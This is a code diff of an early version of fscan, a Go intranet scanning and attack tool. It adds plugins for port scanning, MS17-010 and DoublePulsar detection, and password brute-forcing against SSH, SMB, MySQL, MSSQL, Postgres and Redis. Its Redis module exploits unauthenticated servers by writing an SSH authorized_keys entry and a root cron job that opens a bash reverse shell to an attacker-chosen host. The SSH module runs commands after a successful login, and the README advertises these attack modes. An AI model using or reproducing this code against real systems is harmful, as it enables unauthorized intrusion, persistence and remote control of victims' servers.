+		count, err := conn.Read(buf)
+		if err != nil {
+			return flag,err
+		}
+		text := string(buf[0:count])
+		if strings.Contains(text,"totalLinesWritten"){
+			flag = true
+			result := fmt.Sprintf("Mongodb:%v unauthorized",realhost)
+			common.LogSuccess(result)
+		}
+	}
+	return flag,err
+}

Plugins/ms17017.go

@@ -0,0 +1,139 @@
+package Plugins
+
+import (
+	"encoding/binary"
+	"encoding/hex"
+	"sync"
+
+	//"flag"
+	"fmt"
+	"net"
+	"../common"
+	"strings"
+	//"sync"
+	"time"
+)
+
+var (
+	negotiateProtocolRequest, _  = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
+	sessionSetupRequest, _       = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
+	treeConnectRequest, _        = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
+	transNamedPipeRequest, _     = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
+	trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
+)
+
+func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	MS17010Scan(info)
+	wg.Done()
+	<- ch
+}
+
+func MS17010Scan(info *common.HostInfo) {
+
+	ip := info.Host
+	// connecting to a host in LAN if reachable should be very quick
+	conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
+	if err != nil {
+		//fmt.Printf("failed to connect to %s\n", ip)
+		return
+	}
+	defer conn.Close()
+
+	conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
+	conn.Write(negotiateProtocolRequest)
+	reply := make([]byte, 1024)
+	// let alone half packet
+	if n, err := conn.Read(reply); err != nil || n < 36 {
+		return
+	}
+
+	if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
+		// status != 0
+		return
+	}
+
+	conn.Write(sessionSetupRequest)
+
+	n, err := conn.Read(reply)
+	if err != nil || n < 36 {
+		return
+	}
+
+	if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
+		// status != 0
+		//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
+		return
+	}
+
+	// extract OS info
+	var os string
+	sessionSetupResponse := reply[36:n]
+	if wordCount := sessionSetupResponse[0]; wordCount != 0 {
+		// find byte count
+		byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
+		if n != int(byteCount)+45 {
+			fmt.Println("invalid session setup AndX response")
+		} else {
+			// two continous null bytes indicates end of a unicode string
+			for i := 10; i < len(sessionSetupResponse)-1; i++ {
+				if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
+					os = string(sessionSetupResponse[10:i])
+					os = strings.Replace(os, string([]byte{0x00}), "",-1)
+					break
+				}
+			}
+		}
+
+	}
+	userID := reply[32:34]
+	treeConnectRequest[32] = userID[0]
+	treeConnectRequest[33] = userID[1]
+	// TODO change the ip in tree path though it doesn't matter
+	conn.Write(treeConnectRequest)
+
+	if n, err := conn.Read(reply); err != nil || n < 36 {
+		return
+	}
+
+	treeID := reply[28:30]
+	transNamedPipeRequest[28] = treeID[0]
+	transNamedPipeRequest[29] = treeID[1]
+	transNamedPipeRequest[32] = userID[0]
+	transNamedPipeRequest[33] = userID[1]
+
+	conn.Write(transNamedPipeRequest)
+	if n, err := conn.Read(reply); err != nil || n < 36 {
+		return
+	}
+
+	if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
+		//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
+		//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
+		//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
+		result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
+		common.LogSuccess(result)
+		// detect present of DOUBLEPULSAR SMB implant
+		trans2SessionSetupRequest[28] = treeID[0]
+		trans2SessionSetupRequest[29] = treeID[1]
+		trans2SessionSetupRequest[32] = userID[0]
+		trans2SessionSetupRequest[33] = userID[1]
+
+		conn.Write(trans2SessionSetupRequest)
+
+		if n, err := conn.Read(reply); err != nil || n < 36 {
+			return
+		}
+
+		if reply[34] == 0x51 {
+			//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
+			result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
+			common.LogSuccess(result)
+		}
+
+	} else {
+		result := fmt.Sprintf("%s  (%s)", ip, os)
+		common.LogSuccess(result)
+	}
+
+}
+

Plugins/mssql.go

@@ -0,0 +1,48 @@
+package Plugins
+
+import (
+	"../common"
+	"database/sql"
+	"fmt"
+	_ "github.com/denisenkom/go-mssqldb"
+	"strings"
+	"sync"
+	"time"
+)
+
+
+
+
+func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+Loop:
+	for _,user:=range common.Userdict["mssql"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", user, -1)
+			flag,err := MssqlConn(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+}
+
+func MssqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
+	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
+	db, err := sql.Open("mssql", dataSourceName)
+	if err == nil {
+		db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
+		defer db.Close()
+		err = db.Ping()
+		if err == nil {
+			result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
+			common.LogSuccess(result)
+			flag = true
+		}
+	}
+	return flag,err
+}
+

Plugins/mysql.go

@@ -0,0 +1,46 @@
+package Plugins
+
+import (
+	"../common"
+	"database/sql"
+	"fmt"
+	_ "github.com/go-sql-driver/mysql"
+	"strings"
+	"sync"
+	"time"
+)
+
+
+
+func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+Loop:
+	for _,user:=range common.Userdict["mysql"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", user, -1)
+			flag,err := MysqlConn(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+}
+
+func MysqlConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
+	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
+	db, err := sql.Open("mysql", dataSourceName)
+	db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
+	if err == nil {
+		defer db.Close()
+		err = db.Ping()
+		if err == nil {
+			result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
+			common.LogSuccess(result)
+			flag = true
+		}
+	}
+	return flag,err
+}

Plugins/portscan.go

@@ -0,0 +1,147 @@
+package Plugins
+
+import (
+	"fmt"
+	"net"
+	"sort"
+	"strconv"
+	"strings"
+	"sync"
+	"time"
+	"../common"
+)
+
+func ParsePort(ports string) []int {
+	var scanPorts []int
+	slices := strings.Split(ports, ",")
+	for _, port := range slices {
+		port = strings.Trim(port, " ")
+		upper := port
+		if strings.Contains(port, "-") {
+			ranges := strings.Split(port, "-")
+			if len(ranges) < 2 {
+				continue
+			}
+			sort.Strings(ranges)
+			port = ranges[0]
+			upper = ranges[1]
+		}
+		start, _ := strconv.Atoi(port)
+		end, _ := strconv.Atoi(upper)
+		for i := start; i <= end; i++ {
+			scanPorts = append(scanPorts, i)
+		}
+	}
+	return scanPorts
+}
+
+func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
+	Timeout := time.Duration(adjustedTimeout) * time.Second
+	for port := range ports{
+		start := time.Now()
+		con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
+		duration := time.Now().Sub(start)
+		if err == nil {
+			defer con.Close()
+			address := host + ":" + strconv.Itoa(port)
+			result := fmt.Sprintf("%s open",address)
+			common.LogSuccess(result)
+			respondingHosts <- address
+		}
+		if duration < Timeout {
+			difference := Timeout - duration
+			Timeout = Timeout - (difference / 2)
+		}
+	}
+	done <- true
+}
+
+func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
+	ports := make(chan int, 20)
+	results := make(chan string, 10)
+	done := make(chan bool, threads)
+
+	for worker := 0; worker < threads; worker++ {
+		go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
+	}
+
+	for _,port := range probePorts{
+		ports <- port
+	}
+	close(ports)
+
+	var responses = []string{}
+	for {
+		select {
+		case found := <-results:
+			responses = append(responses, found)
+		case <-done:
+			threads--
+			if threads == 0 {
+				return responses, nil
+			}
+		case <-time.After(timeout):
+			return responses, nil
+		}
+	}
+}
+
+func TCPportScan(hostslist []string,ports string,model string,timeout int)  ([]string,[]string){
+	var AliveAddress []string
+	var aliveHosts []string
+	probePorts := ParsePort(ports)
+	lm := 20
+	if (len(hostslist)>5 && len(hostslist)<=50) {
+		lm = 40
+	}else if(len(hostslist)>50 && len(hostslist)<=100){
+		lm = 50
+	}else if(len(hostslist)>100 && len(hostslist)<=150){
+		lm = 60
+	}else if(len(hostslist)>150 && len(hostslist)<=200){
+		lm = 70
+	}else if(len(hostslist)>200){
+		lm = 75
+	}
+
+	thread := 5
+	if (len(probePorts)>500 && len(probePorts)<=4000) {
+		thread = len(probePorts)/100
+	}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
+		thread = len(probePorts)/200
+	}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
+		thread = len(probePorts)/350
+	}else if (len(probePorts)>10000 && len(probePorts)<50000){
+		thread = len(probePorts)/400
+	}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
+		thread = len(probePorts)/500
+	}
+
+	var wg sync.WaitGroup
+	mutex := &sync.Mutex{}
+	limiter := make(chan struct{}, lm)
+	aliveHost := make(chan string, lm/2)
+	go func() {
+		for s := range aliveHost {
+			fmt.Println(s)
+		}
+	}()
+	for _,host :=range hostslist{
+		wg.Add(1)
+		limiter <- struct{}{}
+		go func(host string) {
+			defer wg.Done()
+			if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
+				mutex.Lock()
+				aliveHosts = append(aliveHosts,host)
+				for _,addr :=range aliveAdd{
+					AliveAddress = append(AliveAddress,addr)
+				}
+				mutex.Unlock()
+			}
+			<-limiter
+		}(host)
+	}
+	wg.Wait()
+	close(aliveHost)
+	return aliveHosts,AliveAddress
+}

Plugins/postgres.go

@@ -0,0 +1,46 @@
+package Plugins
+
+import (
+	"../common"
+	"database/sql"
+	"fmt"
+	_ "github.com/lib/pq"
+	"strings"
+	"sync"
+	"time"
+)
+
+func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+Loop:
+	for _,user:=range common.Userdict["postgresql"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", string(user), -1)
+			flag,err := PostgresConn(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+}
+
+func PostgresConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
+	dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
+	db, err := sql.Open("mysql", dataSourceName)
+	if err == nil {
+		db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
+		defer db.Close()
+		err = db.Ping()
+		if err == nil {
+			result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
+			common.LogSuccess(result)
+			flag = true
+		}
+	}
+	return flag,err
+}
+
+

Plugins/redis.go

@@ -0,0 +1,207 @@
+package Plugins
+
+import (
+	"../common"
+	"bufio"
+	"fmt"
+	"net"
+	"os"
+	"strings"
+	"sync"
+	"time"
+)
+
+func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+	flag,err := RedisUnauth(info)
+	if flag==true && err==nil {
+		wg.Done()
+		<- ch
+		return
+	}
+
+Loop:
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", string("redis"), -1)
+			flag,err := RedisConn(info,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	wg.Done()
+	<- ch
+}
+
+func RedisConn(info *common.HostInfo,pass string)(flag bool,err error){
+	flag = false
+	realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
+	conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
+	if err != nil{
+		return flag,err
+	}
+	defer conn.Close()
+	conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass)))
+	reply,err := readreply(conn)
+	if strings.Contains(reply,"+OK"){
+		result := fmt.Sprintf("Redis:%s %s",realhost,pass)
+		common.LogSuccess(result)
+		flag = true
+		Expoilt(info ,realhost,conn)
+
+	}
+	return flag,err
+}
+
+
+func RedisUnauth(info *common.HostInfo) (flag bool,err error) {
+	flag = false
+	realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"])
+	conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
+	if err != nil{
+		return flag,err
+	}
+	defer conn.Close()
+	conn.Write([]byte("info\r\n"))
+	reply,err := readreply(conn)
+	if strings.Contains(reply,"redis_version"){
+		result := fmt.Sprintf("Redis:%s unauthorized",realhost)
+		common.LogSuccess(result)
+		flag = true
+		Expoilt(info ,realhost,conn)
+	}
+	return flag,err
+}
+
+func Expoilt(info *common.HostInfo,realhost string,conn net.Conn)  {
+	flagSsh,flagCron := testwrite(conn)
+	if flagSsh == true{
+		result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost)
+		common.LogSuccess(result)
+		if info.RedisFile != ""{
+			if 	writeok,text := writekey(conn,info.RedisFile);writeok{
+				result := fmt.Sprintf("%v SSH public key was written successfully",realhost)
+				common.LogSuccess(result)
+			}else {
+				fmt.Println("Redis:",realhost,"SSHPUB write failed",text)
+			}
+		}
+	}
+
+	if flagCron == true{
+		result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost)
+		common.LogSuccess(result)
+		if info.RedisShell != "" {
+			if 	writeok,text := writecron(conn,info.RedisShell);writeok{
+				result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost)
+				common.LogSuccess(result)
+			}else {
+				fmt.Println("Redis:",realhost,"cron write failed",text)
+			}
+		}
+	}
+}
+
+
+func writekey(conn  net.Conn,filename string) (flag bool,text string) {
+	flag = false
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	text,_ = readreply(conn)
+	if strings.Contains(text,"OK") {
+		conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
+		text,_ = readreply(conn)
+		if strings.Contains(text,"OK") {
+			key,_ := Readfile(filename)
+			conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key)))
+			text,_ = readreply(conn)
+			if strings.Contains(text,"OK") {
+				conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				text,_ = readreply(conn)
+				if strings.Contains(text,"OK") {
+					flag = true
+				}
+			}
+		}
+	}
+	text = strings.TrimSpace(text)
+	if len(text) > 50{
+		text = text[:50]
+	}
+	return flag,text
+}
+
+
+
+func writecron(conn  net.Conn,host string) (flag bool,text string) {
+	flag = false
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	text,_ = readreply(conn)
+	if strings.Contains(text,"OK") {
+		conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
+		text,_ = readreply(conn)
+		if strings.Contains(text,"OK") {
+			scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1]
+			conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port)))
+			text,_ = readreply(conn)
+			if strings.Contains(text,"OK") {
+				conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				text,_ = readreply(conn)
+				if strings.Contains(text,"OK") {
+					flag = true
+				}//else {fmt.Println(text)}
+			}//else {fmt.Println(text)}
+		}//else {fmt.Println(text)}
+	}//else {fmt.Println(text)}
+	text = strings.TrimSpace(text)
+	if len(text) > 50{
+		text = text[:50]
+	}
+	return flag,text
+}
+
+func Readfile(filename string)(string,error){
+	file, err := os.Open(filename)
+	if err!=nil{
+		fmt.Println("Open %s error, %v", filename,err)
+		return err.Error(),err
+	}
+	defer file.Close()
+	scanner := bufio.NewScanner(file)
+	for scanner.Scan() {
+		text := strings.TrimSpace(scanner.Text())
+		if text != "" {
+			return text,nil
+		}
+	}
+	return err.Error(),err
+}
+
+func readreply(conn  net.Conn) (result string,err error) {
+	buf := make([]byte, 4096)
+	for {
+		count, err := conn.Read(buf)
+		if err != nil {
+			break
+		}
+		result += string(buf[0:count])
+		if count < 4096 {
+			break
+		}
+	}
+	return result,err
+}
+
+func testwrite(conn  net.Conn) (flagSsh bool,flagCron bool) {
+	flagSsh = false
+	flagCron = false
+	var text string
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	text,_ = readreply(conn)
+	if strings.Contains(string(text),"OK") {
+		flagSsh = true
+	}
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	text,_ = readreply(conn)
+	if strings.Contains(string(text),"OK") {
+		flagCron = true
+	}
+	return flagSsh,flagCron
+}

Plugins/scanner.go

@@ -0,0 +1,81 @@
+package Plugins
+
+import (
+	"../common"
+	"errors"
+	"fmt"
+	"reflect"
+	"strconv"
+	"strings"
+	"sync"
+)
+func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
+	f := reflect.ValueOf(m[name])
+	if len(infos) != f.Type().NumIn() {
+		err = errors.New("The number of infos is not adapted.")
+		if err != nil {
+			fmt.Println(err.Error())
+		}
+	}
+	in := make([]reflect.Value, len(infos))
+	for k, info := range infos {
+		in[k] = reflect.ValueOf(info)
+	}
+	result = f.Call(in)
+	return result,nil
+}
+func IsContain(items []string, item string) bool {
+	for _, eachItem := range items {
+		if eachItem == item {
+			return true
+		}
+	}
+	return false
+}
+
+func Scan(info common.HostInfo)  {
+	fmt.Println("scan start")
+	Hosts,_ :=  common.ParseIP(info.Host,info.HostFile)
+	if info.Isping == false{
+		Hosts =  ICMPRun(Hosts,info.IcmpThreads)
+	}
+	_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3)   //return AliveHosts,AlivePorts
+	var severports  []string         	//severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
+	for _,port:=range common.PORTList{
+		severports = append(severports,strconv.Itoa(port))
+	}
+	severports1 := []string{"1521"}  //no scan these service
+	var ch = make(chan int,info.Threads)
+	var wg = sync.WaitGroup{}
+	var scantype string
+	for _,targetIP :=range AlivePorts{
+		scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
+		info.Host = scan_ip
+		if info.Scantype == "all"{
+			if IsContain(severports,scan_port){
+				AddScan(scan_port,info,ch,&wg)
+			}else {
+				if !IsContain(severports1,scan_port){
+					info.Ports = scan_port
+					AddScan("1000003",info,ch,&wg) //webtitle
+				}
+			}
+			if scan_port == "445"{   //scan more vul
+				AddScan("1000001",info,ch,&wg)
+				AddScan("1000002",info,ch,&wg)
+			}
+		}else {
+			port,_:=common.PORTList_bak[info.Scantype]
+			scantype = strconv.Itoa(port)
+			AddScan(scantype,info,ch,&wg)
+		}
+	}
+	wg.Wait()
+}
+
+func AddScan(scantype string,info common.HostInfo,ch chan int,wg *sync.WaitGroup)  {
+	wg.Add(1)
+	if info.Scantype == "webtitle"{scantype = "1000003"}
+	go scan_func(PluginList,scantype,&info,ch,wg)
+	ch <- 1
+}

Plugins/smb.go

@@ -0,0 +1,69 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	"github.com/stacktitan/smb/smb"
+	"strings"
+	"sync"
+	"time"
+	"context"
+)
+func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+
+Loop:
+	for _,user:=range common.Userdict["smb"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", string(user), -1)
+			flag,err := doWithTimeOut(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+
+}
+
+func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
+	options := smb.Options{
+		Host:        Host,
+		Port:        445,
+		User:        Username,
+		Password:    Password,
+		Domain:      "",
+		Workstation: "",
+
+	}
+
+	session, err := smb.NewSession(options, false)
+	if err == nil {
+		defer session.Close()
+		if session.IsAuthenticated {
+			result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
+			common.LogSuccess(result)
+			flag = true
+		}
+	}
+	return flag,err
+}
+
+func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
+	defer cancel()
+	signal := make(chan int,1)
+	go func() {
+		flag,err = SmblConn(info,user,pass)
+		signal <- 1
+	}()
+
+	select {
+	case <-signal:
+		return flag,err
+	case <-ctx.Done():
+		return false,err
+	}
+}

Plugins/ssh.go

@@ -0,0 +1,60 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	"golang.org/x/crypto/ssh"
+	"net"
+	"strings"
+	"sync"
+	"time"
+)
+func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
+Loop:
+	for _,user:=range common.Userdict["ssh"]{
+		for _,pass:=range common.Passwords{
+			pass = strings.Replace(pass, "{user}", user, -1)
+			flag,err := SshConn(info,user,pass)
+			if flag==true && err==nil {
+				break Loop
+			}
+		}
+	}
+	wg.Done()
+	<- ch
+}
+
+func SshConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
+	flag = false
+	Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
+	config := &ssh.ClientConfig{
+		User: Username,
+		Auth: []ssh.AuthMethod{
+			ssh.Password(Password),
+		},
+		Timeout: time.Duration(info.Timeout)*time.Second,
+		HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
+			return nil
+		},
+	}
+
+	client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
+	if err == nil {
+		defer client.Close()
+		session, err := client.NewSession()
+		if err == nil  {
+			defer session.Close()
+			flag = true
+			if info.Command != ""{
+				combo,_ := session.CombinedOutput(info.Command)
+				result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
+				common.LogSuccess(result)
+			}else {
+				result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
+				common.LogSuccess(result)
+			}
+		}
+	}
+	return flag,err
+
+}

Plugins/webtitle.go

@@ -0,0 +1,83 @@
+package Plugins
+
+import (
+	"../common"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"regexp"
+	"strings"
+	"sync"
+	"time"
+)
+
+func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
+	info.Url = fmt.Sprintf("http://%s:%s",info.Host,info.Ports)
+	err,result = geturl(info)
+    wg.Done()
+	<-ch
+	return err, result
+}
+
+
+func geturl(info *common.HostInfo) (err error, result string) {
+	url := info.Url
+	var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
+	res,err:=http.NewRequest("GET",url,nil)
+	if err==nil{
+		res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
+		res.Header.Add("Accept","*/*")
+		res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
+		res.Header.Add("Accept-Encoding","gzip, deflate")
+		res.Header.Add("Connection","close")
+		resp,err:=client.Do(res)
+		if err==nil{
+			defer resp.Body.Close()
+			var title string
+			body, _ := ioutil.ReadAll(resp.Body)
+			re :=regexp.MustCompile("<title>(.*)</title>")
+			find := re.FindAllStringSubmatch(string(body),-1)
+			if len(find) > 0{
+				title = find[0][1]
+			}else {
+				title = "None"
+			}
+			if len(title) > 50{
+				title = title[:50]
+			}
+			if resp.StatusCode == 400 &&  string(url[5]) != "https"{
+				info.Url = strings.Replace(url, "http://", "https://", 1)
+				return geturl(info)
+			}else {
+				result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
+				common.LogSuccess(result)
+			}
+			return err, result
+		}
+	}
+	return err, ""
+}
+//var client = &http.Client{
+//	Transport:&http.Transport{
+//		DialContext:(&net.Dialer{
+//			Timeout:time.Duration(info.Timeout)*time.Second,
+//		}).DialContext,
+//	},
+//	CheckRedirect:func(req *http.Request, via []*http.Request) error{
+//		return http.ErrUseLastResponse
+//	},
+//}
+
+//if info.Cookie!=""{
+//	res.Header.Add("Cookie",info.Cookie)
+//}
+//if info.Header!=""{
+//	var header = make(map[string]string)
+//	err:=json.Unmarshal([]byte(info.Header),&header)
+//	if err!=nil{
+//		Misc.CheckErr(err)
+//	}
+//	for k,v:=range header{
+//		res.Header.Add(k,v)
+//	}
+//}

README.md

@@ -1,282 +1,103 @@
-# Fscan
+# fscan
 
-[English](README_EN.md)
+# 简介
+一款内网扫描工具，方便一键大保健。  
+支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。  
+趁着最近有空，用go把f-scrack重构了一遍。使用go来编写，也有更好的扩展性及兼容性。  
+还在逐步增加功能，欢迎各位师傅提意见。
 
-内网综合扫描工具，一键自动化漏扫。
 
-**版本**: 2.1.2
+## why
+为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan  
 
-## 功能特性
+答：  
+   因为用习惯了f-scrack，习惯一条命令跑完所有模块，省去一个个模块单独调用的时间，当然我附加了-m 指定模块的功能。
 
-### 扫描能力
+## 最近更新
-- **主机发现** - ICMP/Ping存活探测，支持大网段B/C段存活统计
+[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认3000,适合扫B段  
-- **端口扫描** - TCP全连接扫描，内置133个常用端口，支持端口组(web/db/service/all)
+[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
-- **服务识别** - 智能协议识别，支持20+种服务指纹匹配
-- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
 
-### 爆破能力
+## usege
-- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
+简单用法
-- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
+``` 
-- **SSH密钥登录** - 支持私钥认证方式
+go run main.go -h 192.168.1.1/24
-- **智能字典** - 内置100+常见弱密码，支持{user}变量替换
+fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
-
+fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
-### 漏洞检测
+fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
-- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
+fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后，命令执行)
-- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
+fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
-- **POC扫描** - 集成Web漏洞POC，支持Xray POC格式
+fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
-- **DNSLog** - 支持DNSLog外带检测
+```
-
+```
-### 漏洞利用
+-h 192.168.1.1/24 (C段)  
-- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
+-h 192.168.1.1/16 (B段)
-- **MS17-010利用** - ShellCode注入，支持添加用户、执行命令
+-h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
-- **SSH命令执行** - 认证成功后自动执行命令
+-hf ip.txt  (以文件导入)
-
-### 本地模块
-- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
-- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
-- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
